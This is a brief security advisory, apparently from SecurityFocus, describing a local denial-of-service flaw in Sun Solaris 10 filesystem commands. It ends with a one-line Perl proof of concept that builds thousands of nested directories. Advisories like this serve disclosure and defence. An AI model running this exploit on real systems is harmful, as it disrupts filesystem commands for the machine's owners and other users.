source: https://www.securityfocus.com/bid/40319/info

Sun Solaris is prone to a local denial-of-service vulnerability.

Exploiting this issue allows local users to cause denial-of-service conditions in certain filesystem commands.

Sun Solaris 10 is affected, other versions may also be vulnerable. 

perl -e '$a="X";for(1..8000){ ! -d $a and mkdir $a and chdir $a }'